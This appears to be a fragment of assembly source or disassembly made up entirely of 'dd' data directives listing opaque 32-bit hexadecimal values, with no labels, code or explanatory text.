dd 2A010ACh, 0B8F59085h, 94BB923Bh, 315CAEDBh, 0E806E0D9h
dd 0ABD4B5E4h, 0C40C2ED3h, 0D81542EAh, 534AC3D2h, 3586B2A2h
dd 619721DCh, 51F86AD5h, 2CEB9DBFh, 0D404105Bh, 77FBF845h
dd 0E8FBF541h, 42E97EC8h, 9AD7E80Fh, 0E0A726A0h, 887AF567h
dd 6538834Bh, 53495AC8h, 71DB54C4h, 0B1F907C6h, 51ADE413h
dd 8B07CEE0h, 0CCE1C355h, 0A646AB8h, 8945E829h, 8491259Dh
dd 0F036F5EFh, 9DA4D8BDh, 6AFC7D05h, 0A8348D41h, 0FBC47BD1h
dd 1502B09h, 256320Ah, 9927750h, 99609A5Dh, 0EA34F63Bh
dd 6331F133h, 7C1ED17Bh, 6A5489C5h, 0FDDA2564h, 70F9DCAFh
dd 0E8D70FA3h, 2101565Ah, 9795204Bh, 84C8926Ch, 0DA3B94A2h
dd 857A7516h, 1013A0DFh, 2201C695h, 219FFDC4h, 71EC15CFh
dd 84796B4Ch, 9C39C929h, 8D167682h, 0F0AF9395h, 70C7402h
dd 4C28341h, 0A16FA3Bh, 4008F072h, 0BD831675h, 73400284h
dd 8D84890Dh, 858A288Fh, 0BD3B1410h, 89037E0Dh, 151F600Ah
dd 49B46813h, 91D3B0B4h
dd 56A30A10h, 25ADC8B4h, 2CA60644h, 8B527F0Ah, 0E2303395h
dd 6876D63Bh, 846D403Ah, 80A7438h, 72CA00C0h, 4A26EBF4h
dd 1B730EC2h, 8B5F908Dh, 41040A50h, 4D321089h, 72378F43h
dd 0C98B54ECh, 8A5BC657h, 0B66CD567h, 48EF12ACh, 0AC2D6874h
dd 10493A49h, 0A6A46818h, 737EB711h, 0D70D7562h, 8C68D078h
dd 0E60A442Ah, 846425ADh, 2DFC3E2Dh, 68144898h, 53EB6C44h
dd 64212161h, 42680D58h, 90402354h, 2110AC4Ch, 1F113868h
dd 0EF134C8h, 14681E00h, 0CC485789h, 0CBF348Ch, 2874FE17h
dd 0B7242628h, 5A084431h, 13C4443Dh, 48F46810h, 3789D5DCh
dd 4842F0A8h, 2B3CDCE2h, 4424D468h, 0BECDC134h, 0AE27A4A8h
dd 4AFED888h, 9809A059h, 0F362F50Dh, 72FED8C4h, 4A162D3h
dd 0A0728E4Bh, 0DE2A5C3Ch, 4B88BE14h, 4BFD1096h, 0F74D6628h
dd 74A425EEh, 0EB0F054Ch, 804132B2h, 8558BF36h, 0AD26F1BDh
dd 491D7D1h, 0B2189677h, 0DC24E408h, 0F614D449h, 0C4485821h
dd 8B30F904h, 21A97CB1h, 0BE0EA23Dh, 326A0D0Fh, 8A3F363Fh
dd 504B1034h, 5958BFA3h, 61B54486h, 274B1044h, 34A5B710h
dd 7A7D791Ch, 5768B4F0h, 5C493344h, 231D5D50h, 1CE52468h
dd 8BCCD17Ch, 99285024h, 0F5A84713h, 0B6F5D3CDh, 4B684793h
dd 5B5EECBFh, 4C9E0D93h, 0BC109649h, 237516FBh, 0F7204A45h
dd 917F94B2h, 0E2389D04h, 0F9201CC4h, 11D8E5A2h, 75D93CEAh
dd 5D509372h, 85D86817h, 41845A20h, 3F479BA1h, 5E0EFA39h
dd 0A62224B4h, 5C0525C1h, 0EB598654h, 2011CA2Eh, 0DC487C68h
dd 42CD28B0h, 1BE1689Bh, 864A6068h, 0ABF4C359h, 12832B50h
dd 31AB3B47h, 0AA198E01h, 0E47932E9h, 0D7D4B295h, 14A09339h
dd 0EA9212ADh, 0E074D08Dh, 8B2FE16Ah, 0A3BB6294h, 9564582Ch
dd 0D256F93Ah, 5C0C7542h, 7AF552CFh, 0E31095D5h, 28A235FFh
dd 1659E854h, 8EC21159h, 2FD4CD47h, 15DEE52Eh, 4BAEB782h
dd 0D4564182h, 1BF76BE6h, 0EBF05E6Eh, 14575964h, 50A8C2BBh
dd 20BFCEDFh, 6074F685h, 100C4602h, 5E573E75h, 96926D1Bh
dd 9375FA51h, 99AF5EEh, 578C9410h, 0F908B28Ch, 0A546272Dh
dd 0C9743D80h, 0BCF95F5Bh, 15B99D90h, 848AED99h, 0B37428F0h
dd 0ECB91330h, 5B142E98h, 4B7EB6FAh, 2FB0FEF0h, 186503ACh
dd 0BD9D7025h, 0A42D1B3Eh, 40D73CFDh, 0A585E0DEh, 0ACF4B224h
dd 0C2876F41h, 0D1FDAC85h, 0ADC5997h, 5344234Ah, 1449515Eh
dd 89C7EC7Fh, 0D4143E15h, 9D56B22Eh, 2511192Bh, 0ABDE8B34h
dd 0E17E2589h, 7D0600A3h, 412D6AF8h, 0B52BC133h, 50500E43h
dd 9E102902h, 98DFA050h, 0ABD50BBh, 0BD81BA40h, 3E7602C2h
dd 8A56DEE5h, 29D67410h, 89A728FCh, 89A9FF47h, 2AEF848h
dd 284F78Ah, 0D7F8B367h, 0D3FF9DE0h, 643DCA28h, 3344884Ch
dd 1002BBC9h, 92958D12h, 43F15087h, 72CB0C08h, 7B7508F4h
dd 40FB0919h, 0E5621473h, 328B1C05h, 0AAB143A3h, 0F92403Bh
dd 7DD34A86h, 0B0904484h, 0E1BFA7EEh, 4087C7A2h, 0CEB757D7h
dd 21AFF3E9h, 4EB8ABD6h, 42AB9F39h, 0A75612F9h, 587F16EBh
dd 889083F9h, 1F6A898h, 9326D395h, 2C95E139h, 448C9110h
dd 43618D63h, 1D73C8EEh, 598FBADEh, 0C89D8F15h, 538DC690h
dd 72CA0A3Ah, 0C89F4BEAh, 911AA830h, 0EE89A5AEh, 818C6F9Ch
dd 680832A1h, 31BED7B2h, 2B818601h, 848A0130h, 3C1EA005h
dd 5288790Ah, 4458B935h, 0BE258C22h, 0CA8C88F8h, 8EEA56C4h
dd 13482943h, 0F8804821h, 36765905h, 5B7EB7B8h, 9C2CD6B8h
dd 0BAC20869h, 0A57D7BD4h, 10A518DDh, 2F1752EBh, 0DAF46812h
dd 347412D4h, 0C2F3D2Bh, 0A58212F2h, 4650C230h, 823978A9h
dd 820F5920h, 0EAF20841h, 994444CBh, 6B852B3Fh, 0E30A4248h
dd 8EE4EBF1h, 3EBF13Fh, 27A97DA3h, 9F5F3241h, 0EAA9A014h
dd 0C1158849h, 0B752F572h, 6591817Ch, 3973823Bh, 0FF086583h
dd 0DEF4F42Bh, 0AC6061D2h, 18322614h, 0BA34B84Bh, 62F94D52h
dd 0EFB4F012h, 0BB071349h, 46E71700h, 94ECF83Bh, 0FD2C1491h
dd 0ADEBC2D2h, 627FC28Bh, 0B16BF1C4h, 0F71075h, 9449CC68h
dd 0B49D78BCh, 0AB5EFD42h, 0BC222017h, 186490B0h, 1C3B8BFAh
dd 0BC3CCA14h, 59978510h, 0A042858Ah, 97E9A65Eh, 5B217616h
dd 580E1654h, 0D9B4F25Ah, 80C70BB3h, 0B95D5589h, 756838D1h
dd 0EEFAB0C5h, 2B62549Fh, 6414F9ACh, 0AF392033h, 0DA404C89h
dd 4B086807h, 52D0E4Ch, 0C84BECE4h, 0FF526458h, 98458739h
dd 44BABE45h, 83466A47h, 3D4BD846h, 102597B2h, 0E01990C4h
dd 0CC281E6Ah, 70C230Ah, 0C948BD83h, 984507E6h, 29089EFEh
dd 0A25C1D75h, 49E94F87h, 371C4AFDh, 10AF245Ah, 23423BA7h
dd 0F06911C1h, 28290F29h, 0CB571737h, 8FF7FDAh, 2F0291B5h
dd 0D130DD1Ah, 0FDAE1675h, 4CA81B84h, 0ED98F1F9h, 0FE1DEB2Bh
dd 94175794h, 0CDEAB521h, 594719DBh, 28FCD384h, 3DFB9757h
dd 84BDC445h, 0F0C872D3h, 6A8A712Bh, 0B4101399h, 2F2638CDh
dd 84927474h, 0C3095323h, 0D55C82C6h, 0F48B6059h, 649C7FFEh
dd 10B00F84h, 0CF8C4B90h, 761A619Ah, 0CA80C777h, 992B16C0h
dd 110134Fh, 0BC802EC9h, 25134035h, 15C82475h, 91329EF5h
dd 7AF6221Ah, 46100530h, 231D84C6h, 83CB2089h, 1AEB8317h
dd 122E3511h, 8EF2F3Ch, 3015CC5h, 88C0BE0Fh, 5A082249h
dd 4E8AF346h, 815F4350h, 7259F03Bh, 51C75990h, 6FFCEC50h
dd 0D01665A3h, 0D42DFE9Ah, 85EE1405h, 0A1E2BE79h, 4B14188Ah
dd 2E0546F5h, 269016Ah, 0D745E10h, 0B65B672h, 23910806h
dd 316562F2h, 0EF1D9E01h, 9A5CAB9Eh, 84771B03h, 4EF039C4h
dd 7F3C499Dh, 0E8BD317Fh, 9D6A747Dh, 59541422h, 4C80C25Fh
dd 0A0B81843h, 0DDA412A6h, 0B4AAC04Ch, 9044A075h, 3B94AEFAh
dd 65EEAF2Dh, 4F839FE1h, 5F91FCD0h, 0C5E4A0E0h, 0A85BEB13h
dd 64F3B1E1h, 746A9F30h, 6B565303h, 97805F54h, 99B5CB6Ch
dd 0CF5D3065h, 8E64710Eh, 917927BDh, 0BB1414D8h, 4B609D11h
dd 8B2F1AA2h, 7A962B5Fh, 4C6838B4h, 9AD8E3DEh, 0ECC55526h
dd 29D460B2h, 0FEC1EE5Dh, 23244EB0h, 0CD22F89Bh, 2E879D3Ch
dd 69DE6B31h, 0F741FF5Ah, 0C7210BFCh, 0FCE8BD61h, 56A3810h
dd 0ADD52385h, 44B09457h, 84A514F7h, 67BF11A0h, 9FF12FD7h
dd 0CB94D4A7h, 0DB13707Bh, 0FA6CB771h, 5D035302h, 0F8062DFCh
dd 0E599F43Ah, 0C07E1D57h, 237410C6h, 2FE1BEFCh, 649A25E8h
dd 184229EAh, 65DF3642h, 975EAF10h, 50C9F48Dh, 240F57E0h
dd 0A657DB84h, 5C88C096h, 37A4FF38h, 5D906834h, 52B93912h
dd 0DC9720B6h, 0FFFC7B50h, 0C04CE6A7h, 64685782h, 186835B5h
dd 3804C640h, 4619D2Ah, 0F728C396h, 0C82B05E6h, 18E44B4Fh
dd 9C68147Fh, 0B00CA834h, 23D08C51h, 0A8564F88h, 0B577741Eh
dd 23988CEEh, 2BE40258h, 3FBB0E69h, 0C741703h, 800B91E8h
dd 308F083Ch, 0F4754880h, 99935040h, 0F2AB4534h, 4812D063h
dd 7C342B2Fh, 7820C454h, 0C999ECFCh, 0FD9B4B24h, 9CA00E13h
dd 20FE9A51h, 929E7120h, 2D03C988h, 39AC22FFh, 221E8C9Dh
dd 70228BA0h, 306812A4h, 8E19A64Fh, 0A01BB484h, 8D42D858h
dd 5F976A90h, 618C97E4h, 6A711C19h, 15198B34h, 0AB14181Ch
dd 0B9F06B80h, 4EA7DE2Ch, 77070C3Dh, 3028B505h, 0C0B70F0Bh
dd 0B037624h, 1251B13Ch, 9B46F24Dh, 56CD00Ch, 0EA18EE21h
dd 2568B881h, 2964F08h
dd 0D4F62029h, 6FE61098h, 0C6C18201h, 2BA632F8h, 24289638h
dd 41700CE1h, 7E06EDFBh, 0DF10C738h, 2A18298Dh, 2568FC1Dh
dd 2644EE4h, 9DFDF824h, 91A5D8A5h, 4EC4622Fh, 63574814h
dd 0D7A41EEh, 68B75117h, 3E89A3BCh, 27F9C2BFh, 591E141Ch
dd 776C410h, 968F86C6h, 9284158Eh, 31EC41AFh, 5CCFE04h
dd 0E64E1C25h, 0FEF824BCh, 68847722h, 6ACA4E0Ch, 0F9EA21D3h
dd 0FC6F200Dh, 53372584h, 16BF13DDh, 0C4C95C39h, 0C03C2643h
dd 4D105EA5h, 0A796562Bh, 3F8A93CEh, 0BEB6E99h, 9A23D0ECh
dd 1F43D442h, 334DC4C4h, 0C96ABCACh, 0EAE8778Bh, 0A24E8C1h
dd 44D07850h, 0F7248C4Dh, 22CA2ADFh, 91286878h, 7218711Fh
dd 0BD10AC44h, 0BA49357Bh, 996C58D8h, 3C6D6EC9h, 4111725h
dd 25311070h, 99A04035h, 0A5504852h, 0FC431CA6h, 4A542D4h
dd 0EF4CF8AEh, 342E0A8Fh, 0A61544AFh, 1BB02BECh, 0D2EE64B4h
dd 36B0F824h, 884368FCh, 4AAA23D4h, 0E304863Ch, 0F63A3308h
dd 33B87557h, 58CC3EF1h, 0B255D280h, 27124E94h, 0CC2B97D9h
dd 5688829Dh, 62809C53h, 0B9E0C63Bh, 6C5E740Ch, 347B4089h
dd 332CAE37h, 0B57D733Bh, 4877DECAh, 25026A44h, 49D1D8F7h
dd 80332817h, 84F9E5FCh, 1914578Ah, 5956B7ECh, 0A5B87E10h
dd 0B3DE0FF2h, 0F95633C4h, 94293767h, 71539472h, 7B89ADEDh
dd 0CC40956h, 0AA14ED1Dh, 3C801609h, 8707F73Eh, 2FC22EC6h
dd 49D14657h, 51AFEA45h, 0A088EB90h, 8660DC4Ch, 5AEF569Dh
dd 0E56CD1FDh, 0B7A6FFD8h, 8538BA92h, 12C98C1Ch, 9724D218h
dd 6AA79C7Ch, 4E3E771Eh, 7202745Bh, 0D5C73B28h, 5638114Ch
dd 0A26851BEh, 0F04AF768h, 248C65BCh, 687B2006h, 1C79B59Ch
dd 446C1B49h, 0D2DCF9E7h, 1E4B5671h, 4597F64Fh, 9E8A2E10h
dd 0AE4E5E3Ch, 3D16E369h, 74FC5A0Fh, 20D6F13Ah, 1929752Fh
dd 7E271457h, 45BF5632h, 5B3811F9h, 5F105091h, 1A3B5825h
dd 0A7DC6B6h, 0E47907D2h, 3E716A01h, 0E6325E9Bh, 345FE844h
dd 8C174BC0h, 319D5724h, 0E4189800h, 0E7535021h, 0DE2F08F3h
dd 0FDC7258Eh, 0B7F2E117h, 0BFBFF417h, 0F9895C37h, 0A353172Bh
dd 46FC8CBEh, 81508AB9h, 7C50D625h, 0B07E5AC6h, 6C16FD11h
dd 106E8B51h, 14E2FDC8h, 32560F91h, 45FC2F5Bh, 179F94B8h
dd 1B7D27D0h, 0D80C6ACCh, 0DFBADDFCh, 79BF19C6h, 0C32464BFh
dd 0B76B5425h, 8E803E5Fh, 3AAEAA3Fh, 0DE631285h, 153851CCh
dd 10708FEh, 0FC8975ACh, 58A47D88h, 0A4A0AC27h, 1F28B632h
dd 0CF291092h, 1709A2A3h, 56F6CC08h, 0A07A9E95h, 970350AEh
dd 4A904C53h, 48FEB0C4h, 0C75F0210h, 4C5F2080h, 2FC7A6C2h
dd 0A5EF56ECh, 0D4BC7589h, 0C684FA83h, 4F30A8F0h, 88929F3h
dd 8B61975Eh, 46ADC04Dh, 3161059Ah, 12920404h, 6166FF81h
dd 0C9B8F420h, 0BB5657B9h, 0FCF4C25Ah, 0A6A626Dh, 81C39455h
dd 0BE14BC13h, 0E9D880CCh, 4EC5CA2Ah, 497434C8h, 0DA31D0E8h
dd 2E89C028h, 844066F2h, 0DC43C9D0h, 0B022DC16h, 0CAD442FCh
dd 77491257h, 0A381996Ch, 91E72EC4h, 1D208177h, 0E84BE039h
dd 7A9907Dh, 410F3C68h, 0DC25FE0Eh, 72C4E494h, 391338C6h
dd 129DDED0h, 8BAAFF63h, 0DFED2562h, 0EA5F9F3Bh, 0EBCB43ADh
dd 5792A57Eh, 918892Dh, 0E99293C0h, 44270B72h, 2866ED13h
dd 38449596h, 3DFEBC21h, 1FD05D92h, 0DC0AAF48h, 54511E73h
dd 0A152AD02h, 0F0CB374Dh, 48837186h, 726B0A9Dh, 7D586C11h
dd 0DE8EE888h, 3F231CAFh, 7368EE5Fh, 640995EAh, 0A6839677h
dd 575C90ADh, 6822150Fh, 0C80EEB36h, 0AAF84A8Ch, 0C8C75828h
dd 0D4AD10B8h, 5DBE37D1h, 7DDC2A0Eh, 62C79D56h, 5F63F016h
dd 0CCD62FEAh, 89A9B0F8h, 0BC210BECh, 52525C08h, 23BC91C9h
dd 36FED289h, 0D048A40Eh, 8DCCA08Fh, 0E82C4FB3h, 9B47A561h
dd 6BBF0E8Bh, 5806BB30h, 68C1CC77h, 2A411123h, 4A4D6B2Ch
dd 2E689ED0h, 0E004B353h, 998B0A75h, 13BBF11Ch, 0D018EC10h
dd 99947195h, 5310195Ah, 0CC36AD42h, 7E80C6DEh, 17843E2Ch
dd 0C3D84F94h, 0DD1348EBh, 0B521CA1h, 0B582114Bh, 3669FF97h
dd 0FC25E64Bh, 0E4256EEFh, 112823F2h, 0D87CB949h, 3551E626h
dd 8E247C30h, 0A743F19Fh, 0BB92F0C4h, 0CDEED827h, 261123A4h
dd 0CFCA73Fh, 66D1D1A5h, 1D844B1Bh, 909535D1h, 43B9A3C4h
dd 0ECC9A657h, 5EDA1456h, 0EB73CF0Ch, 86785B2Ch, 89AB2C48h
dd 11217601h, 1BA24A1Eh, 490ADC26h, 0C4AF0B7Fh, 4300AC7Ah
dd 6B332D8Dh, 0C9D9959h, 6F7493Eh, 0EAAB1AF5h, 0CBE248Ch
dd 8A5EBDAAh, 7563A6CCh, 0EF36FA18h, 9657919Ch, 1CC46F49h
dd 0D41ACB90h, 51FD487Ah, 7AC503F6h, 0B60D5710h, 6A01F5BCh
dd 6F105940h, 8D12B795h, 0A297C7ADh, 38444031h, 23746EA8h
dd 68C13994h, 0BB275334h, 4A557746h, 0F122790Dh, 0A3E8E821h
dd 0C2E8A6B9h, 3DF89C5Bh, 0B51BC7A4h, 0B8102830h, 4805904Ch
dd 7A84A40h, 0DA7BE09Ah, 783C3D0Bh, 49753548h, 0FC71957Fh
dd 0CD10F42Ah, 1F041633h, 750B0DB2h, 16F85728h, 39532029h
dd 85D4134Ah, 0F868853Fh, 0E1C16952h, 4C091406h, 299C9423h
dd 71E152CCh, 8A474A53h, 4F5427A0h, 0B0ABAC10h, 926A5651h
dd 57F5AA7Ah, 0EDFBAF1Eh, 0F3837B35h, 882E0E8Ah, 4D824606h
dd 49577410h, 284B2773h, 0EBDB7480h, 6048680Bh, 7759A269h
dd 6F5E41B1h, 8652FE6h, 0B27CAC10h, 0FF6E5D18h, 308C682Bh
dd 0B7ABDD25h, 519C13D2h, 5B05A462h, 0C57890A3h, 71E8FDECh
dd 0B8895FC1h, 0F4222FDCh, 7955295Ch, 0F633C2D1h, 1D27C155h
dd 69FC249Fh, 9FB464E2h, 269077EAh, 5F411632h, 967F12Ch
dd 3C142975h, 0D854B82Ch, 0B50A795Ah, 53896C77h, 0E0935B94h
dd 847E0D9Ah, 5789B042h, 0E2410CC4h, 44D27BFEh, 0BD94343Bh
dd 0E0C8D3E6h, 2FE55252h, 0D24C0117h, 0F92C534Bh, 7C14A103h
dd 27D09656h, 0E0A20CF0h, 4FD1F475h, 0F65842ADh, 0D9F024C5h
dd 9C9AA5CCh, 0CAE8CB19h, 5A6B7EDEh, 0D66A7628h, 404459B3h
dd 89C13DC4h, 0CEA841C5h, 9C24B403h, 0D093BBC8h, 40ECE62Ch
dd 382768FBh, 21579654h, 5745FBECh, 96A0D21h, 0B8C83D39h
dd 135CD652h, 0DC3D9C24h, 86FDEC88h, 9F11C020h, 0A3BB06C4h
dd 408AB893h, 3710C8C8h, 5347FCECh, 43F98A93h, 5A2158A2h
dd 753F99CFh, 98BF1CBh, 27572C1Ah, 0FA48EC50h, 0D688A2B5h
dd 0FBF27B93h, 0F5342D15h, 915BEBAAh, 85C25B44h, 0F8C2D539h
dd 7D8E62D5h, 7F18ED99h, 2C7980CDh, 69271475h, 0F0C3FAFFh
dd 87A2DB33h, 0BA75CB4Ah, 0FFD9FF3Dh, 5725469Fh, 59482644h
dd 686E987Ch, 91948F9h, 0C50F48Fh, 3CC33BD7h, 19752910h
dd 555C42E6h, 2A4E8338h, 53EAFF0Ch, 0AB11323Ah, 0E214B21Ah
dd 55323E2Bh, 0C3013359h, 0CD3A1476h, 52946AD2h, 8B229A06h
dd 0FE499DBEh, 141099E8h, 802EC0Ch, 0C8BAF005h, 3626AF9h
dd 713050h, 3574C32Bh, 2C6F4873h, 8853D506h, 81055A28h
dd 4DBA102Fh, 0C8D75744h, 0EB0A100Dh, 293B081Bh, 8C496B04h
dd 9D08167Fh, 34DB34CCh, 505AC464h, 32193328h, 984360Ah
dd 0C925F04h, 64EB6365h, 3E68FF87h, 0F4C6B514h, 91FC184Fh
dd 0B875F889h, 98F73B5Ch, 3BC745BAh, 1E68BA8Dh, 56870A9Ah
dd 56FE6B3Eh, 7BC55616h, 0F07D6731h, 9C31AF2Ah, 7E49D3FFh
dd 850EC534h, 0B560C08h, 9BD520EBh, 446B176h, 36FC7F9Eh
dd 14424550h, 58F1CC8Ah
dd 0B8BA2EEBh, 0C96CC6BDh, 1B520923h, 237E6EA3h, 160EBCA2h
dd 0DE7E83A7h, 683F451Fh, 383132A4h, 5E42B7Dh, 215905B5h
dd 0DFC3F818h, 0FEA527BAh, 50034331h, 0AE01368h, 24EBF268h
dd 0A98806FCh, 0F9C6538Bh, 6A895888h, 90205144h, 6BFC88A8h
dd 68651D0Bh, 5EADF1ACh, 624A2D52h, 0BEA824C2h, 0E8A814F1h
dd 2973042Dh, 9DAC65B3h, 0C8B0BB88h, 0C010C406h, 0E99FBC20h
dd 699D81Bh, 20DA0FDCh, 469DD41Dh, 5D85B0AEh, 9F7415D7h
dd 0EC116A45h, 5638A83Fh, 68088FECh, 7C298449h, 0CEB95F95h
dd 0CBE8A820h, 0B0F44D27h, 9EF075CDh, 0DA742D89h, 89315969h
dd 3E1416EBh, 0B1564C23h, 0C659FC44h, 8172D99Ch, 0DCEBB068h
dd 0A6F7BA28h, 27492C51h, 76096ACDh, 0FA55C96Ah, 3789812Ch
dd 74128A22h, 32170462h, 0D018EED2h, 0B72A7640h, 20018DE2h
dd 210AF980h, 0DFAD4C3h, 0C6097402h, 78500584h, 2A40F42Ch
dd 0F0098C88h, 0D18A1246h, 72A6053Bh, 124C50D6h, 0BD778E64h
dd 7E989886h, 0C066A516h, 358B98EBh, 0D6F4AEA4h, 6D1AEDB8h
dd 40E0F74h, 4298CB7h, 0DCB238B4h, 0E26B09E1h, 900828FBh
dd 4C66E39Dh, 0A2647506h, 2420840Bh, 0C52F364h, 51ED8E0Fh
dd 763CC939h, 514DEF07h, 818ADEEBh, 0C8BE0F42h, 5328F981h
dd 86CBE95Fh, 3B73083Ch, 7FBA5774h, 38E533Dh, 0E5B20A75h
dd 0EB725178h, 0E6C7FB6Ch, 0C64CB21Eh, 82031C2h, 0FA0258F9h
dd 0FC44FB24h, 0AFD000Dh, 4AEB066Ah, 2401B036h, 8F46BAA9h
dd 980D3CE6h, 29755950h, 1B12C625h, 2EA6650Ah, 13EB0200h
dd 2676F33Bh, 889C84Eh, 0F0402091h, 0A6595403h, 95149F8h
dd 0B2975AB7h, 0F2550F86h, 57449FC3h, 4786EEEBh, 45F4B56h
dd 741249E7h, 0A38FD27h, 0CDC40A01h, 0C75F404h, 0DBE1F9AAh
dd 0F0183A23h, 0F4CAC2DCh, 0C423A90Fh, 0E68BFBD4h, 5B401020h
dd 0FAABDE2Ch, 5927E8DDh, 0F613CCD9h, 25A88983h, 26675375h
dd 19E6C044h, 0F011EEC8h, 0A752F8CEh, 0D953277Eh, 0FB525279h
dd 0C43A2145h, 0C80CB2DFh, 2751A010h, 2AD12CB5h, 2D667C69h
dd 0BF1434F5h, 0D0754148h, 1A210F96h, 27CC6033h, 0A1D13049h
dd 0E8B72C91h, 445B547Ah, 0EC76FADCh, 8BC4136Ah, 0DE2082D8h
dd 0EFC469CBh, 6C44758Fh, 43572338h, 2C4D05AFh, 0D080B2BEh
dd 39C827DEh, 382BC411h, 2C88084Eh, 0D32386FFh, 2EC8441Dh
dd 591D823h, 0FC7B31F4h, 0E5F62C56h, 0A912A75Dh, 0C08A56B2h
dd 69C86423h, 53B40A5Ah, 0B426EDFAh, 13DF28B9h, 2C052C05h
dd 57147582h, 0D44C02B0h, 77854A02h, 5F17A8E3h, 426EC98Dh
dd 4455ACCEh, 68B2538h, 1305BEE1h, 0EBEE5B89h, 5052965Fh
dd 3BB83227h, 276912E9h, 195EF3BDh, 5323106Eh, 0FB306B31h
dd 0EA756802h, 4C17F1AAh, 628D7F62h, 3084BD80h, 0ED4C8204h
dd 1A22326Bh, 0E002F331h, 0BC5D3820h, 89775174h, 723A75D6h
dd 616588D1h, 0E068162Ch, 0A72BBB58h, 168299CCh, 9D88B402h
dd 0EAC65787h, 0EC5D1250h, 1504B466h, 0E6856A53h, 74A4C4B6h
dd 9F95AC96h, 0A0492020h, 6988F89Fh, 28926F32h, 1A328D56h
dd 23B22934h, 284CAB56h, 17E797ECh, 0EE5D750Bh, 57C029BCh
dd 5B475498h, 69DC1421h, 3655E48Dh, 436F8E64h, 4C43BA7Ch
dd 0D8565AF2h, 274C155Ah, 971076A1h, 4C8A2E59h, 3EB45D43h
dd 5BA24E18h, 0D225FA97h, 0A81D95EEh, 529D8D9Ah, 0ACC70293h
dd 0EAA29359h, 16F6C934h, 1701EF12h, 9741039h, 30CFD72Eh
dd 0F07201F9h, 0FFF0BD2h, 2DB59570h, 569302C8h, 74E469ACh
dd 571B0EB7h, 90E4B232h, 53939F11h, 74C229A9h, 3492572Ch
dd 0C527767Eh, 605F9A4Ah, 6D5C1612h, 0A64874D0h, 0FC2BD23Eh
dd 0A84BB269h, 54EB4482h, 5C19D148h, 44AE5346h, 5C2DC3B7h
dd 7CB1C961h, 6BA81708h, 5816825Ch, 0F2C8F0A8h, 27FC8C08h
dd 0CE98BDF8h, 0FEE23FEFh, 0F0D6E45Fh, 6CF829Ah, 56822BF8h
dd 7154AD03h, 5F685678h, 83E1A290h, 0CC289D39h, 881061BEh
dd 0FF2408F8h, 0FE43A40Ch, 0A7FC8C11h, 8B29F874h, 5EFE9834h
dd 0D6FA88h, 5650048Bh, 0F356E52Dh, 0C2164FA7h, 10D02EA8h
dd 0FE95F0D6h, 9216C59Dh, 0C5A6AF53h, 749ED425h, 0A0B511FBh
dd 0EB454FA7h, 41F3D612h, 0BB58562Dh, 253E14B5h, 9F5E1975h
dd 1299C272h, 0E21057F6h, 0F0501501h, 0FC4E90AAh, 0AB9267F6h
dd 0EC5B47B2h, 0D0FA4301h, 0EF43AAF2h, 47A6ACF5h, 6E044EF0h
dd 5C899F39h, 0D2AED447h, 5DB8A7AEh, 8A854E9Dh, 365D24ACh
dd 80600A59h, 0B589DA26h, 78F78826h, 0B2698447h, 5296F7A5h
dd 0B5108EB5h, 32666F17h, 340F469Ch, 0BAA1218Eh, 288B0EC8h
dd 4B8788CFh, 0CD0FB8FAh, 0A0891189h, 147710F4h, 1F91B511h
dd 7582A1C4h, 93806814h, 8ABCCAB4h, 94C80A84h, 7AF4A7FBh
dd 4E31B04Bh, 29459D38h, 5509B112h, 0FD5546AAh, 0B9A6A30Ch
dd 0A5A2944Eh, 8C37538Eh, 8B69CA4Ah, 0C8C4DF11h, 0DAE5E498h
dd 3841112h, 3C03896Eh, 8A2A645Dh, 0D32F8B32h, 2083ABE9h
dd 0F5A64D8Dh, 78C4769Ah, 0BFF151F4h, 9708BF0Dh, 26BA4148h
dd 9159FC6Eh, 0B0A715D6h, 0ED110488h, 338D8A0Dh, 32E2DB1Bh
dd 0A02376D9h, 0FE1275C0h, 0C93224C0h, 0B98A1439h, 0EB828BC8h
dd 99C1FE0Eh, 0F088D10h, 6C0B632h, 0AF44D7C9h, 0A6A13B7h
dd 0C72B0914h, 59F721ADh, 28BF2B57h, 8B241C1Eh, 0FAAD6DF8h
dd 77754952h, 0DB044714h, 0E7E12FA9h, 0B01DB02Bh, 3FB859FFh
dd 654D319Eh, 0EC0513BFh, 168D31FCh, 2AE94DE7h, 964020F0h
dd 404D29D6h, 8F0FF85Dh, 0EFE5775Ah, 9F568920h, 0AF81AA9Ch
dd 490F663Bh, 13BB929Eh, 77AE69C8h, 34B7EC2h, 0C93739BBh
dd 3DCF3F97h, 836FC370h, 38698BDh, 565E7405h, 744450BEh
dd 2CEF0C75h, 6EFF38CCh, 805B9F7h, 0EF6BBC68h, 1B44082Ah
dd 0CC9C4BB5h, 6A9518D2h, 28DF387Ah, 0A6C64C81h, 50FE869Dh
dd 72066A64h, 37EB5EABh, 84569585h, 9742CCC2h, 89FDE948h
dd 0AB9D782h, 0C1D43D09h, 0F6E0A583h, 4E6A7C74h, 3A58F526h
dd 0FC206523h, 947C33EEh, 0CAEB6484h, 53E43428h, 23AC43C5h
dd 4D89A158h, 510B1C56h, 802E1950h, 32BB2193h, 57EE08DDh
dd 217D238Ah, 16184BCh, 832C7804h, 0FDA87D2Ch, 3F32CC96h
dd 24BF1620h, 12AB7483h, 0DDCEA957h, 6573947Fh, 0FB0FD920h
dd 6C446800h, 0C1481D99h, 6E3E8C14h, 0AEB56A5Ah, 47A5DD4Bh
dd 102634FCh, 153F23BAh, 84DE89AAh, 3738B53Fh, 0AC52C481h
dd 62254B73h, 6CF44CA8h, 86290F85h, 12215CADh, 8C519B64h
dd 3456EBF8h, 34148F32h, 0A2369144h, 88451E24h, 5649B906h
dd 0C247C559h, 0A15158BDh, 0DCA47F8Ah, 3DFDA4B0h, 0F2B080F2h
dd 0BC638F48h, 0B8C0937Eh, 0B3FAE09Ah, 0CA9497AAh, 8551FE6Ah
dd 0E96D4A2Eh, 54B3093Bh, 106AC5A3h, 0C0B8EE38h, 0F0BF1B0Fh
dd 789B248Bh, 0B8B0579Ah, 8005C4F6h, 146A7B74h, 78661D22h
dd 71F4E38h, 5E1A7E7Ah, 15AC408Eh, 7D045B0Ah, 0BD84C710h
dd 0BB7DB0C9h, 38321B85h, 0F6E81E2Ch, 2B2E7D2Bh, 0A32902E4h
dd 390143Ch, 41032A4h, 0B48B2114h, 9A178D94h, 58568664h
dd 208324D7h, 8B0EC20h, 5318505Ch, 0A480064Ch, 0E0251F05h
dd 2338AA59h, 50B93D13h, 0B3396259h, 0F31C6922h, 650E7424h
dd 480C68E2h, 9955EB5Fh, 0F068E11Fh, 64259A6Bh, 12C354BEh
dd 40B52EB9h, 2BD0D286h, 851DF857h, 296BDC08h, 92792772h
dd 9C1FEBC2h, 21C45766h
